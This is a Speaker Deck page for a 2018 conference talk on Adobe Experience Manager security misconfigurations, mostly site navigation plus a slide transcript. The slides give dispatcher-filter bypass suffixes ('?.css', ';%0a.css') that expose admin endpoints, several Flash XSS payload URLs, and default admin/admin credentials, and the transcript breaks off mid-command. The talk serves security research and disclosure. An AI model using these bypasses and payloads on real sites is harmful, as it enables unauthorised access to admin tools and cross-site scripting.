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A story of the passive aggressive sysadmin of AEM
By Frans Rosén
Adobe Experience Manager is an enterprise CMS with a troubled history. It was created with the
angle of high customization factor, enabling consulting firms to deploy it all over the world for
huge customers.

Then came security.

Frans will go through some terrible default configuration mistakes, Adobe’s love for bad Flash and
how a sysadmin accidentialy exposed an international multi billion dollar company using only sad
thoughts.

About speaker
Frans Rosén is a tech entrepreneur, bug bounty hunter and a Security Advisor at Detectify, a
security service for developers. He’s a frequent blogger at Detectify Labs and a top ranked
participant of bug bounty programs, receiving some of the highest bounty payouts ever on
HackerOne.

Frans was recently featured as #2 on Hackread’s list of 10 Famous Bug Bounty Hunters of All Time
and the results of his security research has been covered in numerous international publications
such as Observer, BBC, Ars Technica, Wired and Mashable.

[image: Avatar for Frans Rosén]

https://secure.gravatar.com/avatar/131516ede9827a73ead43f7dd114358e?s=128


Frans Rosén

September 13, 2018

More Decks by Frans Rosén

See All by Frans Rosén

X-Correlation Injections (or How to break server-side contexts)

[ [image: Avatar for Frans Rosén] fransrosen ](https://speakerdeck.com/fransrosen)

0

2.2k

Story of a RCE on Apple through hot jar swapping

[ [image: Avatar for Frans Rosén] fransrosen ](https://speakerdeck.com/fransrosen)

0

1.4k

Account hijacking using "dirty dancing" in sign-in OAuth-flows

[ [image: Avatar for Frans Rosén] fransrosen ](https://speakerdeck.com/fransrosen)

0

480

A methodology using fuzzing and info disclosure

[ [image: Avatar for Frans Rosén] fransrosen ](https://speakerdeck.com/fransrosen)

0

580

Live Hacking like a MVH – A walkthrough on methodology and strategies to win big

[ [image: Avatar for Frans Rosén] fransrosen ](https://speakerdeck.com/fransrosen)

3

9.8k

Web based format injection, dumping memory like it's 99 (or "Please help")

[ [image: Avatar for Frans Rosén] fransrosen ](https://speakerdeck.com/fransrosen)

0

230

OWASP AppSecEU 2018 – Attacking "Modern" Web Technologies

[ [image: Avatar for Frans Rosén] fransrosen ](https://speakerdeck.com/fransrosen)

3

7.9k

https://speakerdeck.com/fransrosen
https://speakerdeck.com/fransrosen
https://speakerdeck.com/fransrosen/x-correlation-injections-or-how-to-break-server-side-contexts
https://secure.gravatar.com/avatar/131516ede9827a73ead43f7dd114358e?s=24
https://speakerdeck.com/fransrosen/story-of-a-rce-on-apple-through-hot-jar-swapping
https://secure.gravatar.com/avatar/131516ede9827a73ead43f7dd114358e?s=24
https://speakerdeck.com/fransrosen/account-hijacking-using-dirty-dancing-in-sign-in-oauth-flows
https://secure.gravatar.com/avatar/131516ede9827a73ead43f7dd114358e?s=24
https://speakerdeck.com/fransrosen/a-methodology-using-fuzzing-and-info-disclosure
https://secure.gravatar.com/avatar/131516ede9827a73ead43f7dd114358e?s=24
https://speakerdeck.com/fransrosen/live-hacking-like-a-mvh-a-walkthrough-on-methodology-and-strategies-to-win-big
https://secure.gravatar.com/avatar/131516ede9827a73ead43f7dd114358e?s=24
https://speakerdeck.com/fransrosen/web-based-format-injection-dumping-memory-like-its-99-or-please-help
https://secure.gravatar.com/avatar/131516ede9827a73ead43f7dd114358e?s=24
https://speakerdeck.com/fransrosen/owasp-appseceu-2018-attacking-modern-web-technologies
https://secure.gravatar.com/avatar/131516ede9827a73ead43f7dd114358e?s=24


Other Decks in Technology

See All in Technology

�知負荷をGemini で溶かす — GKE 基盤「Orbit」における AI エージェントの実践

[ [image: Avatar for SansanTech] sansantech ](https://speakerdeck.com/sansantech)

PRO

1

270

事業価値と Engineering 2026年度版

[ [image: Avatar for Recruit] recruitengineers ](https://speakerdeck.com/recruitengineers)

PRO

42

22k

今こそ聞きたいソフトウェア設計 ドメイン駆動設計再入門

[ [image: Avatar for 増田 亨] masuda220 ](https://speakerdeck.com/masuda220)

PRO

17

6.6k

Flutterをカメラで動かしたかった話

[ [image: Avatar for ソニー株式会社] sony ](https://speakerdeck.com/sony)

1

130

組織にどうSREを根付かせるか？〜IVRyの場合〜

[ [image: Avatar for abnoumaru] abnoumaru ](https://speakerdeck.com/abnoumaru)

0

330

AI ネイティブな組織に Gemini Enterprise Agent Platform がなぜ必要なのか

[ [image: Avatar for Asei Sugiyama] asei ](https://speakerdeck.com/asei)

1

190

【CEDEC2026】コードレビュー支援ツール開発から学ぶ：LLMを用いた業務システムの実践的な運用設計と誤出力対策

[ [image: Avatar for Cygames, Inc.] cygames ](https://speakerdeck.com/cygames)

PRO

0

https://speakerdeck.com/c/technology
https://speakerdeck.com/sansantech/260731
https://speakerdeck.com/rails/active_storage/representations/redirect/eyJfcmFpbHMiOnsiZGF0YSI6NTQyMCwicHVyIjoiYmxvYl9pZCJ9fQ==--688da104aaf03ce13c8194bda634b039c1aa4b80/eyJfcmFpbHMiOnsiZGF0YSI6eyJmb3JtYXQiOiJwbmciLCJyZXNpemVfdG9fZmlsbCI6WzI0LDI0XX0sInB1ciI6InZhcmlhdGlvbiJ9fQ==--924ecf2834d46e1be7416cc0ef8ce19d4bbdebbf/icon_engnr_dev_256.png
https://speakerdeck.com/pro?utm_campaign=PRO&utm_medium=web&utm_source=user_pro_badge
https://speakerdeck.com/recruitengineers/fy2026_bootcamp_kuroda
https://secure.gravatar.com/avatar/85da685d91fda190e2e3162d0de248a4?s=24
https://speakerdeck.com/pro?utm_campaign=PRO&utm_medium=web&utm_source=user_pro_badge
https://speakerdeck.com/masuda220/jin-kosowen-kitaisohutoueashe-ji-domeinqu-dong-she-ji-zai-ru-men
https://secure.gravatar.com/avatar/8f84b7d8869ef6005d89b378e8661f7c?s=24
https://speakerdeck.com/pro?utm_campaign=PRO&utm_medium=web&utm_source=user_pro_badge
https://speakerdeck.com/sony/flutterwokameradedong-kasitakatutahua
https://secure.gravatar.com/avatar/da17d7065ef598660904f46451c7bc30?s=24
https://speakerdeck.com/abnoumaru/zu-zhi-nidousrewogen-fu-kaseruka-ivrynochang-he
https://speakerdeck.com/rails/active_storage/representations/redirect/eyJfcmFpbHMiOnsiZGF0YSI6MTM4MDc4LCJwdXIiOiJibG9iX2lkIn19--78140abd8f30bccf9edf393c13f6a525ce6deba4/eyJfcmFpbHMiOnsiZGF0YSI6eyJmb3JtYXQiOiJqcGciLCJyZXNpemVfdG9fZmlsbCI6WzI0LDI0XX0sInB1ciI6InZhcmlhdGlvbiJ9fQ==--dcc78b2290da0fc746e1bfe817edcd08056147b6/abnoumaru.jpg
https://speakerdeck.com/asei/ai-neiteibunazu-zhi-ni-gemini-enterprise-agent-platform-ganazebi-yao-nanoka
https://speakerdeck.com/rails/active_storage/representations/redirect/eyJfcmFpbHMiOnsiZGF0YSI6MTExMzEsInB1ciI6ImJsb2JfaWQifX0=--6ab0da6f609ebde4bd7f2e4864304699cc2b6203/eyJfcmFpbHMiOnsiZGF0YSI6eyJmb3JtYXQiOiJqcGVnIiwicmVzaXplX3RvX2ZpbGwiOlsyNCwyNF19LCJwdXIiOiJ2YXJpYXRpb24ifX0=--b48c0a77ba540dff89d4e01c944dfca4119c9e28/icon.jpeg
https://speakerdeck.com/cygames/cygames_202607_cedec2026_04
https://speakerdeck.com/rails/active_storage/representations/redirect/eyJfcmFpbHMiOnsiZGF0YSI6NzQyMzEyLCJwdXIiOiJibG9iX2lkIn19--79c11d4c6a736302463ad65244e1053a62bdbfa4/eyJfcmFpbHMiOnsiZGF0YSI6eyJmb3JtYXQiOiJwbmciLCJyZXNpemVfdG9fZmlsbCI6WzI0LDI0XX0sInB1ciI6InZhcmlhdGlvbiJ9fQ==--924ecf2834d46e1be7416cc0ef8ce19d4bbdebbf/SpeakerDeck_%E3%82%A2%E3%82%A4%E3%82%B3%E3%83%B3.png
https://speakerdeck.com/pro?utm_campaign=PRO&utm_medium=web&utm_source=user_pro_badge


620

Invisible to AI? Making TYPO3 Sites Quotable by AI Search Systems

[ [image: Avatar for Wolfgang Wagner] wolfgangwagner ]
(https://speakerdeck.com/wolfgangwagner)

0

160

【CEDEC2026】『GRANBLUE FANTASY: Relink - Endless Ragnarok』のバトル制作事例 ～最高のキャラゲーを目指して～

[ [image: Avatar for Cygames, Inc.] cygames ](https://speakerdeck.com/cygames)

PRO

0

220

SO-101×VLAによる3色キューブのピック＆プレース

[ [image: Avatar for ABEJA] abeja ](https://speakerdeck.com/abeja)

0

120

メルカリのグローバルアプリで挑んだ AlloyDB 運用と課題解決の実践記

[ [image: Avatar for hatappi] hatappi ](https://speakerdeck.com/hatappi)

0

240

Digitization部 紹介資料

[ [image: Avatar for Sansan, Inc.] sansan33 ](https://speakerdeck.com/sansan33)

PRO

2

7.7k

Featured

See All Featured

Beyond borders and beyond the search box: How to win the global "messy middle" with AI-driven
SEO

[ [image: Avatar for David Carrasco] davidcarrasco ](https://speakerdeck.com/davidcarrasco)

3

200

Getting science done with accelerated Python computing platforms

[ [image: Avatar for Jacob Tomlinson] jacobtomlinson ](https://speakerdeck.com/jacobtomlinson)

https://speakerdeck.com/wolfgangwagner/invisible-to-ai-making-typo3-sites-quotable-by-ai-search-systems
https://secure.gravatar.com/avatar/34c94e77472995f4cdceb840583295ef?s=24
https://speakerdeck.com/cygames/cygames_202607_cedec2026_10
https://speakerdeck.com/rails/active_storage/representations/redirect/eyJfcmFpbHMiOnsiZGF0YSI6NzQyMzEyLCJwdXIiOiJibG9iX2lkIn19--79c11d4c6a736302463ad65244e1053a62bdbfa4/eyJfcmFpbHMiOnsiZGF0YSI6eyJmb3JtYXQiOiJwbmciLCJyZXNpemVfdG9fZmlsbCI6WzI0LDI0XX0sInB1ciI6InZhcmlhdGlvbiJ9fQ==--924ecf2834d46e1be7416cc0ef8ce19d4bbdebbf/SpeakerDeck_%E3%82%A2%E3%82%A4%E3%82%B3%E3%83%B3.png
https://speakerdeck.com/pro?utm_campaign=PRO&utm_medium=web&utm_source=user_pro_badge
https://speakerdeck.com/abeja/so-101xvla-niyoru-3-iro-kyubu-no-pikku
https://secure.gravatar.com/avatar/ade0cb4143c001fef8ca5aa320c2eb1d?s=24
https://speakerdeck.com/hatappi/mercari-global-alloydb-gcp-next-tokyo-26-310e28b6-43bf-4c23-bf60-2c38f4bb5851
https://secure.gravatar.com/avatar/c582b722e015633f7900083f8ea75732?s=24
https://speakerdeck.com/sansan33/digitization
https://speakerdeck.com/rails/active_storage/representations/redirect/eyJfcmFpbHMiOnsiZGF0YSI6MTM5NzYsInB1ciI6ImJsb2JfaWQifX0=--742b6b79e99ff01edb063160edba4f5a13693ead/eyJfcmFpbHMiOnsiZGF0YSI6eyJmb3JtYXQiOiJqcGciLCJyZXNpemVfdG9fZmlsbCI6WzI0LDI0XX0sInB1ciI6InZhcmlhdGlvbiJ9fQ==--dcc78b2290da0fc746e1bfe817edcd08056147b6/icon512.jpg
https://speakerdeck.com/pro?utm_campaign=PRO&utm_medium=web&utm_source=user_pro_badge
https://speakerdeck.com/p/featured
https://speakerdeck.com/davidcarrasco/beyond-borders-and-beyond-the-search-box-how-to-win-the-global-messy-middle-with-ai-driven-seo
https://speakerdeck.com/davidcarrasco/beyond-borders-and-beyond-the-search-box-how-to-win-the-global-messy-middle-with-ai-driven-seo
https://secure.gravatar.com/avatar/5ff7fbe585e9893cf68acf370468078d?s=24
https://speakerdeck.com/jacobtomlinson/getting-science-done-with-accelerated-python-computing-platforms
https://secure.gravatar.com/avatar/ca3d0556227d66b3c15be1eadf69473b?s=24


2

400

CSS Pre-Processors: Stylus, Less & Sass

[ [image: Avatar for Bermon Painter] bermonpainter ](https://speakerdeck.com/bermonpainter)

360

30k

Dominate Local Search Results - an insider guide to GBP, reviews, and Local SEO

[ [image: Avatar for Greg Gifford] greggifford ](https://speakerdeck.com/greggifford)

PRO

0

260

Evolving SEO for Evolving Search Engines

[ [image: Avatar for Ryan Jones] ryanjones ](https://speakerdeck.com/ryanjones)

0

250

GraphQLとの向き合い方2022年版

[ [image: Avatar for Yosuke Kurami] quramy ](https://speakerdeck.com/quramy)

50

15k

Bioeconomy Workshop: Dr. Julius Ecuru, Opportunities for a Bioeconomy in West Africa

[ [image: Avatar for AKADEMIYA2063] akademiya2063 ](https://speakerdeck.com/akademiya2063)

PRO

1

200

How to Ace a Technical Interview

[ [image: Avatar for Jacob Kaplan-Moss] jacobian ](https://speakerdeck.com/jacobian)

281

24k

The Cost Of JavaScript in 2023

[ [image: Avatar for Addy Osmani] addyosmani ](https://speakerdeck.com/addyosmani)

55

10k

Navigating Weather and Climate Data

https://speakerdeck.com/bermonpainter/css-pre-processors-stylus-less-and-sass
https://speakerdeck.com/rails/active_storage/representations/redirect/eyJfcmFpbHMiOnsiZGF0YSI6MzIyNzgsInB1ciI6ImJsb2JfaWQifX0=--0a08b9ea50b78202a903b729cdf0585ed57d745f/eyJfcmFpbHMiOnsiZGF0YSI6eyJmb3JtYXQiOiJqcGciLCJyZXNpemVfdG9fZmlsbCI6WzI0LDI0XX0sInB1ciI6InZhcmlhdGlvbiJ9fQ==--dcc78b2290da0fc746e1bfe817edcd08056147b6/Bermon-Painter---Profile---Square.jpg
https://speakerdeck.com/greggifford/dominate-local-search-results-an-insider-guide-to-gbp-reviews-and-local-seo
https://speakerdeck.com/rails/active_storage/representations/redirect/eyJfcmFpbHMiOnsiZGF0YSI6MTMwMDYzLCJwdXIiOiJibG9iX2lkIn19--7de629ffe581dc2932935617a9cf5ab294a9528b/eyJfcmFpbHMiOnsiZGF0YSI6eyJmb3JtYXQiOiJqcGciLCJyZXNpemVfdG9fZmlsbCI6WzI0LDI0XX0sInB1ciI6InZhcmlhdGlvbiJ9fQ==--dcc78b2290da0fc746e1bfe817edcd08056147b6/greg-2021-upload-size.jpg
https://speakerdeck.com/pro?utm_campaign=PRO&utm_medium=web&utm_source=user_pro_badge
https://speakerdeck.com/ryanjones/evolving-seo-for-evolving-search-engines
https://secure.gravatar.com/avatar/2bf27e1a5632db8aba77510c78aaa9a2?s=24
https://speakerdeck.com/quramy/graphqltofalsexiang-kihe-ifang-2022nian-ban
https://secure.gravatar.com/avatar/893f54413c2bd9ba41d11d753aacaf2c?s=24
https://speakerdeck.com/akademiya2063/bioeconomy-workshop-dr-julius-ecuru-opportunities-for-a-bioeconomy-in-west-africa
https://speakerdeck.com/rails/active_storage/representations/redirect/eyJfcmFpbHMiOnsiZGF0YSI6Njk1ODQsInB1ciI6ImJsb2JfaWQifX0=--d64b39778db0158d5065902ffb01064cd8d9cc5c/eyJfcmFpbHMiOnsiZGF0YSI6eyJmb3JtYXQiOiJwbmciLCJyZXNpemVfdG9fZmlsbCI6WzI0LDI0XX0sInB1ciI6InZhcmlhdGlvbiJ9fQ==--924ecf2834d46e1be7416cc0ef8ce19d4bbdebbf/AKADEMIYA2063%20Logo%20Plain.png
https://speakerdeck.com/pro?utm_campaign=PRO&utm_medium=web&utm_source=user_pro_badge
https://speakerdeck.com/jacobian/how-to-ace-a-technical-interview
https://secure.gravatar.com/avatar/2f5463832ccb768ccb4a1ca3607c27ef?s=24
https://speakerdeck.com/addyosmani/the-cost-of-javascript-in-2023
https://secure.gravatar.com/avatar/96270e4c3e5e9806cf7245475c00b275?s=24
https://speakerdeck.com/rabernat/navigating-weather-and-climate-data


[ [image: Avatar for Ryan Abernathey] rabernat ](https://speakerdeck.com/rabernat)

0

460

A better future with KSS

[ [image: Avatar for Kyle Neath] kneath ](https://speakerdeck.com/kneath)

240

18k

RailsConf 2023

[ [image: Avatar for Aaron Patterson] tenderlove ](https://speakerdeck.com/tenderlove)

30

1.5k

Transcript

-

@fransrosen A story of the passive aggressive sysadmin of AEM

or "How to make a talk in 3h 35min"

-

@fransrosen Frans Rosén Bug bounties! labs.detectify.com twitter.com/fransr
osen I blogged about

Subdomain Takeovers. Donald Trump got hacked. The hacker referred to my post as his
inspiration. I broke Let’s Encrypt Live hacking! I won a boxing belt once

-

@fransrosen Frans Rosén Bug bounties! labs.detectify.com twitter.com/fransr
osen I blogged about

Subdomain Takeovers. Donald Trump got hacked. The hacker referred to my post as his
inspiration. I broke Let’s Encrypt Live hacking! I won a boxing belt once namedropped in ytcracker -
green hat

-

@fransrosen 2016 – Peter Adkins https://www.kernelpicnic.net/2016/07/24/Mi
crosoft-signout.live.com-Remote-Code-Execution-Write-Up.html

-

https://secure.gravatar.com/avatar/654d48d6c1c10c50c160954ba31207a2?s=24
https://speakerdeck.com/kneath/a-better-future-with-kss
https://secure.gravatar.com/avatar/5f2da528927a2ec9ba4fec2069cbc958?s=24
https://speakerdeck.com/tenderlove/railsconf-2023
https://secure.gravatar.com/avatar/f29327647a9cff5c69618bae420792ea?s=24
https://files.speakerdeck.com/presentations/1f3f3e94073e4f94ba34096736ccc5e0/slide_0.jpg
https://files.speakerdeck.com/presentations/1f3f3e94073e4f94ba34096736ccc5e0/slide_1.jpg
https://files.speakerdeck.com/presentations/1f3f3e94073e4f94ba34096736ccc5e0/slide_1.jpg
https://files.speakerdeck.com/presentations/1f3f3e94073e4f94ba34096736ccc5e0/slide_2.jpg
https://files.speakerdeck.com/presentations/1f3f3e94073e4f94ba34096736ccc5e0/slide_2.jpg
https://files.speakerdeck.com/presentations/1f3f3e94073e4f94ba34096736ccc5e0/slide_3.jpg
https://files.speakerdeck.com/presentations/1f3f3e94073e4f94ba34096736ccc5e0/slide_3.jpg


@fransrosen 2016 – Peter Adkins https://www.kernelpicnic.net/2016/07/24/Mi
crosoft-signout.live.com-Remote-Code-Execution-Write-Up.html CVE-2016-095
7

-

@fransrosen 2016 – Peter Adkins https://www.kernelpicnic.net/2016/07/24/Mi
crosoft-signout.live.com-Remote-Code-Execution-Write-Up.html CVE-2016-095
7 "The world’s lamest

RCE."

-

@fransrosen How AEM is structured https://www.kernelpicnic.net/2016/07/2
4/Microsoft-signout.live.com-Remote-Code-Execution-Write-Up.html

-

@fransrosen How AEM is structured Adobe "black magic glue"

-

@fransrosen How AEM is structured Stuff you pay your consultants

for Adobe "black magic glue"

-

@fransrosen Shit no one’s updating Stuff you pay your consultants

for Adobe "black magic glue" How AEM is structured

-

@fransrosen How AEM is structured https://www.kernelpicnic.net/2016/07/2
4/Microsoft-signout.live.com-Remote-Code-Execution-Write-Up.html

-

@fransrosen How AEM is structured Apache HTTP server module

-

@fransrosen How AEM is structured Reverse proxy+filter Apache HTTP server

module

-

@fransrosen How AEM is structured Apache HTTP server module Pages

https://files.speakerdeck.com/presentations/1f3f3e94073e4f94ba34096736ccc5e0/slide_4.jpg
https://files.speakerdeck.com/presentations/1f3f3e94073e4f94ba34096736ccc5e0/slide_4.jpg
https://files.speakerdeck.com/presentations/1f3f3e94073e4f94ba34096736ccc5e0/slide_4.jpg
https://files.speakerdeck.com/presentations/1f3f3e94073e4f94ba34096736ccc5e0/slide_5.jpg
https://files.speakerdeck.com/presentations/1f3f3e94073e4f94ba34096736ccc5e0/slide_5.jpg
https://files.speakerdeck.com/presentations/1f3f3e94073e4f94ba34096736ccc5e0/slide_5.jpg
https://files.speakerdeck.com/presentations/1f3f3e94073e4f94ba34096736ccc5e0/slide_6.jpg
https://files.speakerdeck.com/presentations/1f3f3e94073e4f94ba34096736ccc5e0/slide_6.jpg
https://files.speakerdeck.com/presentations/1f3f3e94073e4f94ba34096736ccc5e0/slide_7.jpg
https://files.speakerdeck.com/presentations/1f3f3e94073e4f94ba34096736ccc5e0/slide_8.jpg
https://files.speakerdeck.com/presentations/1f3f3e94073e4f94ba34096736ccc5e0/slide_9.jpg
https://files.speakerdeck.com/presentations/1f3f3e94073e4f94ba34096736ccc5e0/slide_10.jpg
https://files.speakerdeck.com/presentations/1f3f3e94073e4f94ba34096736ccc5e0/slide_10.jpg
https://files.speakerdeck.com/presentations/1f3f3e94073e4f94ba34096736ccc5e0/slide_11.jpg
https://files.speakerdeck.com/presentations/1f3f3e94073e4f94ba34096736ccc5e0/slide_12.jpg
https://files.speakerdeck.com/presentations/1f3f3e94073e4f94ba34096736ccc5e0/slide_13.jpg


metadata + content Reverse proxy+filter

-

@fransrosen How AEM is structured Apache HTTP server module Pages

metadata + content Reverse proxy+filter A bunch of admin-tools

-

@fransrosen How AEM is structured You should not have access

to this Apache HTTP server module Pages + metadata + content Reverse proxy+filter A bunch of
admin-tools

-

@fransrosen How AEM is structured You should not have access

to this Or this Apache HTTP server module Reverse proxy+filter A bunch of admin-tools Pages +
metadata + content

-

@fransrosen Creating pages

-

@fransrosen Creating pages Author creates a new page in the

repo

-

@fransrosen Creating pages Author creates a new page in the

repo Goes through the publisher nodes

-

@fransrosen Creating pages Author creates a new page in the

repo Goes through the publisher nodes Dispatcher serves the content

-

@fransrosen Accessing pages

-

@fransrosen Accessing pages Dispatcher gets the URL

-
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@fransrosen Accessing pages Dispatcher gets the URL Goes through a

filter (This filter is awesome, it’s impossible to break, don’t even dare to try)

-

@fransrosen Accessing pages Dispatcher gets the URL If all is

OK, serve from publish node Goes through a filter (This filter is awesome, it’s impossible to break,
don’t even dare to try)

-

@fransrosen CVE-2016-0957 aka "I am two years old but I’m

inside an enterprise product that no one can or dares to upgrade"

-

@fransrosen CVE-2016-0957 Goes through a filter (This filter is awesome,

it’s impossible to break, don’t even dare to try)

-

@fransrosen CVE-2016-0957 Goes through a filter (This filter is awesome,

it’s impossible to break, don’t even dare to try)

-

@fransrosen CVE-2016-0957 Goes through a filter (This filter is awesome,

it’s impossible to break, don’t even dare to try)

-

@fransrosen CVE-2016-0957 Goes through a filter (This filter is awesome,

it’s impossible to break, don’t even dare to try)

-

@fransrosen CVE-2016-0957 Goes through a filter (This filter is awesome,

it’s impossible to break, don’t even dare to try)

-

@fransrosen CVE-2016-0957 Goes through a filter (This filter is awesome,

it’s impossible to break, don’t even dare to try)

-
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@fransrosen CVE-2016-0957 Goes through a filter (This filter is awesome,

it’s impossible to break, don’t even dare to try)

-

@fransrosen This is ridiculous

-

@fransrosen Accessing pages?.css Dispatcher gets the URL?.css

-

@fransrosen Accessing pages Dispatcher gets the URL?.css Every time is

OK time

-

@fransrosen Accessing pages Dispatcher gets the URL?.css Every time is

OK time Serve from publish node

-

@fransrosen Publish nodes

-

@fransrosen Disk usage /etc/reports/diskusage.html?.css Disk Usage lists all r
epo dirs

metadata

-

@fransrosen My fav, opensocial proxy /libs/opensocial/proxy?url=x&.css

-

@fransrosen My fav, opensocial proxy /libs/opensocial/proxy?url=x&.css

-

@fransrosen …but there’s more!

-

@fransrosen CRX Explorer /crx/de/index.jsp?.css

-
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@fransrosen CRX Explorer /crx/explorer/browser/index.jsp?.css

-

@fransrosen CRX Explorer Search /crx/explorer/browser/index.jsp?.css

-

@fransrosen Content Repository Extreme /crx/explorer/index.jsp?.css

-

@fransrosen Package Manager /crx/packmgr/index.jsp?.css

-

@fransrosen Namespace Editor (no auth needed!) /crx/explorer/ui/namespac
e_editor.jsp?.css

-

@fransrosen bin/querybuilder /bin/querybuilder.json?.css

-

@fransrosen bin/querybuilder /bin/querybuilder.json?.css

-

@fransrosen

-

@fransrosen bin/querybuilder for SWFs!

-

@fransrosen bin/querybuilder for SWFs!

-

@fransrosen FLASHFEST in AEM CORE /etc/clientlibs/foundation/video/swf/pl
ayer_flv_maxi.swf? >

-

@fransrosen FLASHFEST in AEM CORE /etc/clientlibs/foundation/shared/endorsed/swf/ slideshow.
swf?contentPath=%5c"))%7dcatch(e) %7balert(document.domain)%7d// /etc/clientlibs/foundation/
video/swf/player_flv_maxi.swf? >

-
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@fransrosen FLASHFEST in AEM CORE /etc/clientlibs/foundation/shared/endorsed/swf/ slideshow.
swf?contentPath=%5c"))%7dcatch(e) %7balert(document.domain)%7d// /etc/clientlibs/foundation/
video/swf/player_flv_maxi.swf? >

/etc/clientlibs/foundation/video/swf/StrobeMediaPlayback.swf?
javascriptCallbackFunction=alert(document.domain)-String

-

@fransrosen FLASHFEST in AEM CORE /etc/clientlibs/foundation/shared/endorsed/swf/ slideshow.
swf?contentPath=%5c"))%7dcatch(e) %7balert(document.domain)%7d// /etc/clientlibs/foundation/
video/swf/player_flv_maxi.swf? >

/etc/clientlibs/foundation/video/swf/StrobeMediaPlayback.swf?
javascriptCallbackFunction=alert(document.domain)-String
/libs/dam/widgets/resources/swfupload/swfupload_f9.swf?movieName=%22])
%7dcatch(e)%7bif(!this.x)alert(document.domain),this.x=1%7d// Thx Neal Poole

-

@fransrosen FLASHFEST in AEM CORE /etc/clientlibs/foundation/shared/endorsed/swf/ slideshow.
swf?contentPath=%5c"))%7dcatch(e) %7balert(document.domain)%7d// /etc/clientlibs/foundation/
video/swf/player_flv_maxi.swf? >

/etc/clientlibs/foundation/video/swf/StrobeMediaPlayback.swf?
javascriptCallbackFunction=alert(document.domain)-String
/libs/dam/widgets/resources/swfupload/swfupload_f9.swf?movieName=%22])
%7dcatch(e)%7bif(!this.x)alert(document.domain),this.x=1%7d//
/libs/cq/ui/resources/swfupload/swfupload.swf?movieName=%22])
%7dcatch(e)%7bif(!this.x)alert(document.domain),this.x=1%7d// Thx Neal Poole

-

@fransrosen FLASHFEST in AEM CORE /etc/clientlibs/foundation/shared/endorsed/swf/ slideshow.
swf?contentPath=%5c"))%7dcatch(e) %7balert(document.domain)%7d// /etc/clientlibs/foundation/
video/swf/player_flv_maxi.swf? >

/etc/clientlibs/foundation/video/swf/StrobeMediaPlayback.swf?
javascriptCallbackFunction=alert(document.domain)-String
/libs/dam/widgets/resources/swfupload/swfupload_f9.swf?movieName=%22])
%7dcatch(e)%7bif(!this.x)alert(document.domain),this.x=1%7d//
/libs/cq/ui/resources/swfupload/swfupload.swf?movieName=%22])
%7dcatch(e)%7bif(!this.x)alert(document.domain),this.x=1%7d// /etc/dam/viewers/s7sdk/2.11/
flash/VideoPlayer.swf? stagesize=1&namespacePrefix=alert(document.domain)-window Thx Neal
Poole

-

@fransrosen FLASHFEST in AEM CORE /etc/clientlibs/foundation/shared/endorsed/swf/ slideshow.
swf?contentPath=%5c"))%7dcatch(e) %7balert(document.domain)%7d// /etc/clientlibs/foundation/
video/swf/player_flv_maxi.swf? >
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/etc/clientlibs/foundation/video/swf/StrobeMediaPlayback.swf?
javascriptCallbackFunction=alert(document.domain)-String
/libs/dam/widgets/resources/swfupload/swfupload_f9.swf?movieName=%22])
%7dcatch(e)%7bif(!this.x)alert(document.domain),this.x=1%7d//
/libs/cq/ui/resources/swfupload/swfupload.swf?movieName=%22])
%7dcatch(e)%7bif(!this.x)alert(document.domain),this.x=1%7d// /etc/dam/viewers/s7sdk/2.11/
flash/VideoPlayer.swf? stagesize=1&namespacePrefix=alert(document.domain)-window
/etc/dam/viewers/s7sdk/2.9/flash/VideoPlayer.swf?
loglevel=,firebug&movie=%5c%22));if(!self.x)self.x=!alert(document.domain) %7dcatch(e)%7b%7d//
Thx Neal Poole

-

@fransrosen FLASHFEST in AEM CORE /etc/clientlibs/foundation/shared/endorsed/swf/ slideshow.
swf?contentPath=%5c"))%7dcatch(e) %7balert(document.domain)%7d// /etc/clientlibs/foundation/
video/swf/player_flv_maxi.swf? >

/etc/clientlibs/foundation/video/swf/StrobeMediaPlayback.swf?
javascriptCallbackFunction=alert(document.domain)-String
/libs/dam/widgets/resources/swfupload/swfupload_f9.swf?movieName=%22])
%7dcatch(e)%7bif(!this.x)alert(document.domain),this.x=1%7d//
/libs/cq/ui/resources/swfupload/swfupload.swf?movieName=%22])
%7dcatch(e)%7bif(!this.x)alert(document.domain),this.x=1%7d// /etc/dam/viewers/s7sdk/2.11/
flash/VideoPlayer.swf? stagesize=1&namespacePrefix=alert(document.domain)-window
/etc/dam/viewers/s7sdk/2.9/flash/VideoPlayer.swf?
loglevel=,firebug&movie=%5c%22));if(!self.x)self.x=!alert(document.domain) %7dcatch(e)%7b%7d//
/etc/dam/viewers/s7sdk/3.2/flash/VideoPlayer.swf?
stagesize=1&namespacePrefix=window[/aler/.source%2b/t/.source] (document.domain)-window
Thx Neal Poole

-

@fransrosen Allowing anonymous publish access

-

@fransrosen Allowing anonymous publish access

-

@fransrosen Allowing anonymous publish access

-

@fransrosen but Peter mentioned RCE?

-
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@fransrosen RCE? https://www.kernelpicnic.net/2016/07/24/Microsoft-signou
t.live.com-Remote-Code-Execution-Write-Up.html

-

@fransrosen RCE? https://www.kernelpicnic.net/2016/07/24/Microsoft-signou
t.live.com-Remote-Code-Execution-Write-Up.html admin / admin

-

@fransrosen RCE https://www.kernelpicnic.net/2016/07/24/Microsoft-signout.
live.com-Remote-Code-Execution-Write-Up.html

-

@fransrosen RCE https://www.kernelpicnic.net/2016/07/24/Microsoft-signout.
live.com-Remote-Code-Execution-Write-Up.html

-

@fransrosen Patch for CVE-2016-0957

-

@fransrosen Patch for CVE-2016-0957 WOHO! WOHO!

-

@fransrosen Patch for CVE-2016-0957 WOHO! WOHO!

-

@fransrosen Patch for CVE-2016-0957 THEN WHAT IS THE PROBLEM? WOHO!

WOHO!

-

@fransrosen Problem 1

-

@fransrosen Problem 1

-

@fransrosen Problem 1 PRIORITY: nah, bro

-
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@fransrosen Problem 2

-

@fransrosen Problem 2

-

@fransrosen Patch for CVE-2016-0957 IRL VERSION

-

@fransrosen Patch for CVE-2016-0957 IRL

-

@fransrosen Patch for CVE-2016-0957 IRL

-

@fransrosen Patch for CVE-2016-0957 IRL

-

@fransrosen Bypasses, seriously ?.js ;%0a.css Thank Jasmin Landry for this

one

-

@fransrosen The passive agressive sysadmin

-

@fransrosen The passive agressive sysadmin + +

-

@fransrosen The passive agressive sysadmin + +

-

@fransrosen I’ve seen this before

-

@fransrosen AEM

-

@fransrosen CRX
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-

@fransrosen CRXDE

-

@fransrosen All other stuff

-

@fransrosen /system/console

-

@fransrosen /system/console admin / admin

-

@fransrosen /system/console admin / admin

-

@fransrosen Report!

-

@fransrosen Search time!

-

@fransrosen Search time!

-

@fransrosen Search time!

-

@fransrosen Search time!

-

@fransrosen WTF

-

@fransrosen WTF $ h=$(echo "6J7An/QgzU+j5gr1G0CyEexJ9xkgiIyyUzTcmaCCV
5g=" \ | base64 -D |

